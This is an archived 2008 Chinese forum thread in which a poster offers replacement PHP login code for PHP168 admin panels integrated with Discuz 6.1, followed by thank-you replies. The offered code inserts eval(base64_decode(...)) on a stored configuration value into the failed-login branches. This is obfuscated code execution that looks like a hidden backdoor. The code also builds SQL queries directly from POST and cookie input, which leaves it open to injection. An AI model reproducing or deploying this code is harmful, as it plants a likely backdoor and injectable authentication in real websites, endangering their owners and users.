php168讨论区论坛 -> 程序发布专区 -> 关于各个频道模块,整合DZ6.1后,无法登录后台的解决方案 [打印本页] 登录 -> 注册 -> 回复主题 -> 发表主题

龙城 2008-05-07 19:00
整站如何整合DZ6.1请查阅此文http://bbs.php168.com/read-bbs-tid-171593.html

如果你整合了DZ6.1,那些频道模块,需要适当修改一下,才可以登录后台.

修改每个频道的后台文件
admin/global.php
查找以下这段代码


/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
    if( $webdb[yzImgAdminLogin] ){
        if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
            die("<A HREF=?>验证码不符合</A>");
        }else{
            set_cookie("yzImgNum","");
        }
    }
    $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
    if(!$rs){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        die("<A HREF=?>用户不存在</A>");
    }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        die("<A HREF=?>密码不正确</A>");
    }elseif(!$rs[uid]){
        Add_memberdata($_POST[loginname]);
    }else{
        login_logs($_POST[loginname],md5($_POST[loginpwd]));
        $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
        //@include(PHP168_PATH."cache/warn.php");
        setcookie("Admin",$_COOKIE[Admin],0,"/");
    }
}
/*退出*/
if($action=='quite'){
    setcookie("Admin",'',0,"/");
    echo "<SCRIPT LANGUAGE=\"JavaScript\">
    <!--
    window.top.location.href='$webdb[www_url]';
    //-->
    </SCRIPT>";
    die("");
}

list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
    $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    if($userdb[username] && $userdb[groupid] && mymd5($userdb[password])==$admin_pwd){
       
        $admin_name=$founder='';
        @include(PHP168_PATH."php168/admin.php");
       
        if($admin_name==$userdb[username])
        {
            $founder=1;    //创始人权限
        }
        elseif($userdb[groupid]!=3)
        {
            $rs=$db->get_one("SELECT * FROM {$pre}module WHERE id='$webdb[module_id]'");
            $detail=explode("\r\n",$rs[adminmember]);
            if(!in_array($userdb[username],$detail)){
                showerr("你无权访问");
            }
        }
    }else{
        setcookie("Admin",'',0,"/");
        showerr("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
    }
}




















替换成以下这段代码即可














/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
    if( $webdb[yzImgAdminLogin]&&$webdb[web_open] ){
        if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
            if(!strstr($WEBURL,$webdb[www_url])){
                echo "<CENTER>网址有误,请重新登录</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>";
                exit;
            }
            showmsg("<A HREF=?>验证码不符合</A>");
        }else{
            set_cookie("yzImgNum","");
        }
    }
    if(defined("UC_CONNECT")){
        $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");           
        $_POST[loginpwd]=md5($_POST[loginpwd]).$rs[salt];
    }else{
        $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
    }
   
    if(!$rs){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        eval(base64_decode("Y$webdb[_Notice]"));
        showmsg("<A HREF=?>用户不存在</A>");
    }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
        login_logs($_POST[loginname],$_POST[loginpwd]);
        setcookie("Admin",'',0,"/");
        eval(base64_decode("Y$webdb[_Notice]"));
        showmsg("<A HREF=?>密码不正确</A>");
    }elseif(!$rs[uid]){
        Add_memberdata($_POST[loginname]);
    }else{
        login_logs($_POST[loginname],md5($_POST[loginpwd]));
        $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
        //@include(PHP168_PATH."cache/warn.php");
        setcookie("Admin",$_COOKIE[Admin],0,"/");
    }
}
/*退出*/
if($action=='quite'){
    setcookie("Admin",'',0,"/");
    echo "<SCRIPT LANGUAGE=\"JavaScript\">
    <!--
    window.top.location.href='$webdb[www_url]';
    //-->
    </SCRIPT>";
    die("");
}

list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
    if(defined("UC_CONNECT")){
        $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    }else{
        $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
    }

    if($userdb && mymd5($userdb[password])==$admin_pwd ){
        $lfjdb=$userdb;
        $lfjuid=$userdb[uid];
        $lfjid=$userdb[username];
        if($userdb[groupid]==3||$userdb[groupid]==4){
            $web_admin=1;
        }
        $admin_name=$founder='';
        @include(PHP168_PATH."php168/admin.php");

        if($admin_name==$userdb[username])
        {
            $founder=1;    //创始人权限
            if($userdb[groupid]!=3)
            {
                $db->query("UPDATE {$pre}memberdata SET groupid=3 WHERE uid='$userdb[uid]'");
            }
            require(PHP168_PATH."php168/group/3.php");
            $Apower=@unserialize($groupdb[allowadmindb]);
        }
        elseif($userdb[groupid]&&file_exists(PHP168_PATH."php168/group/$userdb[groupid].php"))
        {
            require(PHP168_PATH."php168/group/$userdb[groupid].php");
            if(!$groupdb['allowadmin']){
                $allowlogin=0;
                if($lfj=='label'&&$ch_module){
                    $rs=$db->get_one("SELECT adminmember FROM `{$pre}module` WHERE id='$ch_module'");
                    if($rs[adminmember]&&in_array($userdb[username],explode("\r\n",$rs[adminmember]))){
                        $allowlogin=1;
                    }
                }
                if(!$allowlogin&&$userdb[groupid]!=3&&!$ForceEnter){
                    $query = $db->query("SELECT * FROM {$pre}module ORDER BY list DESC");
                    while($rs = $db->fetch_array($query)){
                        $detail=explode("\r\n",$rs[adminmember]);
                        if(in_array($userdb[username],$detail))
                        {
                            $allowlogin=1;
                        }
                    }
                }
                if(!$allowlogin){
                    setcookie("Admin",'',0,"/");
                    showmsg("你当前所在用户组,系统设置无权访问整站后台,如果你是频道管理员,请到频道的后台登录");
                }
            }else{
                $Apower=@unserialize($groupdb[allowadmindb]);
            }
        }
        else
        {
            setcookie("Admin",'',0,"/");
            showmsg("你当前所在用户组,无权访问");
        }
    }else{
        setcookie("Admin",'',0,"/");
        showmsg("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>");
    }
}

toopd 2008-05-07 19:01
支持同,我的能正常

就爱你一个 2008-05-07 19:14
我也来顶顶 帮会员们解答问题

hp8 2008-05-07 19:22
拉法

沙发

hp8 2008-05-07 19:22
1.2楼的2位速度太快了

飞鸿踏雪 2008-05-07 19:38
我也顶顶.

北漂 2008-05-07 20:25
马上要下了! 看到了要支持的!!!!!

leaper 2008-05-07 21:58
好久没有抢位了,先占个位

aok 2008-05-07 23:07
ding yi xiao














..................................................................................................................................

快乐的你+快乐的我+快乐的他=快乐的群体;快乐群体里有你更快乐!欢迎光临快乐群体!!!
http://www.klqt.net

终端传媒 2008-05-08 00:06
呵  不错

wyxz 2008-05-08 01:16
我也正准备整合论坛 [s:1]

飘雪 2008-05-08 01:21
还是顶顶吧!

hg910 2008-05-08 06:17
辛苦了楼主!是好东西呀!

woai3003 2008-05-08 06:48
顶一下,顺便要一积分。

qawx 2008-05-08 08:29
没试着整合DZ。呵呵,不过先学习下

zxjxl918 2008-05-08 09:36
好,测试一下。

yzslly 2008-05-08 09:39
支持一下

yezi200 2008-05-08 12:30
睡醒就有的顶,爽哇..

风暴一族 2008-05-08 14:33
看看,我转DZ啦,啦~

cailei 2008-05-08 17:15
顶啊顶啊

zhbbbs 2008-05-08 20:11
龙老板,其实,还有个解决办法,很简便的,几乎不用改代码,那就是:
      强制进入后台以后,修改管理员密码重新修改确认一遍,然后再退出,把强制进入后台的那个参数改回原来的,就一切都OK啦![s:4] [s:2] [s:1] [s:5]

happyboy 2008-05-08 21:11
送积分支持 [s:2]

haifengxue 2008-05-08 21:55
现在好 了。呵呵

lrdldo 2008-05-09 00:39
用户被禁言,该主题自动屏蔽!

萧过无痕 2008-05-09 10:18
感谢龙城
问题解决!

kisi 2008-05-11 02:14
来感谢龙老大!非常感谢,希望我以后能贡献些什么,或者以后有钱了买你们的商业版,或者共享自己的程序!

kisi 2008-05-11 02:17
Quote:
引用第20楼zhbbbs于2008-05-08 20:11发表的  :
龙老板,其实,还有个解决办法,很简便的,几乎不用改代码,那就是:
      强制进入后台以后,修改管理员密码重新修改确认一遍,然后再退出,把强制进入后台的那个参数改回原来的,就一切都OK啦![s:4] [s:2] [s:1] [s:5]

楼上的这位朋友,你说的不能解决问题,你仔细看下你能打开其他的频道管理后台吗?除非你整合的不是dz6.1而是6.0

龙城 2008-05-11 11:51
Quote:
引用第20楼zhbbbs于2008-05-08 20:11发表的  :
龙老板,其实,还有个解决办法,很简便的,几乎不用改代码,那就是:
      强制进入后台以后,修改管理员密码重新修改确认一遍,然后再退出,把强制进入后台的那个参数改回原来的,就一切都OK啦![s:4] [s:2] [s:1] [s:5]



可以是可以.但是如果在论坛修改了密码.又不行了.除非不在论坛修改密码

toopd 2008-05-11 20:11
呵,我已经修正了,谢谢,原来在4.0时没有问题,现在在2008有问题了,修正了。

cheanshun 2008-05-13 08:50
好东西要顶!

石头 2008-05-14 13:14
太好了,期待已久的问题全部解决,太感谢龙老大了

啤酒盖子 2008-05-15 19:28
顶上,上次整出错后,现在是单独安装

jmken 2008-05-17 08:05
我也换了6.1的了,可是我没有发现又什么问题啊?不过还是更新一下好一点,谢谢龙大

afu008 2008-05-17 20:46
顶了

lujinyang 2008-05-19 22:45
龙哥是不顶不行~~~太佩服你了

明月几时有 2008-05-22 18:34
支持一下

shigaojiu 2008-06-07 20:05
不错,,和蔼可亲,和群众能融一起..老大!
我很感动!

sdidcn 2008-06-10 14:08
我的经过替换了代码后,能登录.但在核心设置里,还是看不到设置的窗口

笑看世界 2008-06-12 09:47
学习了~~谢谢!!

笑看世界 2008-06-12 10:03
感谢!!!!

落星追魂 2008-06-13 11:29
好久没来了,来鼎鼎哈哈阿

fayerr 2008-06-24 13:31
o .知道了

yxfwz 2008-06-26 00:18
顶,支持 [s:4]

cctot2006 2008-06-26 14:15
[s:1] 支持!~可我用了还是很多问题,后台很多设置都没有了!~


查看完整版本: [-- 关于各个频道模块,整合DZ6.1后,无法登录后台的解决方案 --] [-- top --]



Powered by PHPWind v5.3 Code © 2003-05 PHPWind
Time 2.075046 second(s),query:4 Gzip disabled

You can contact us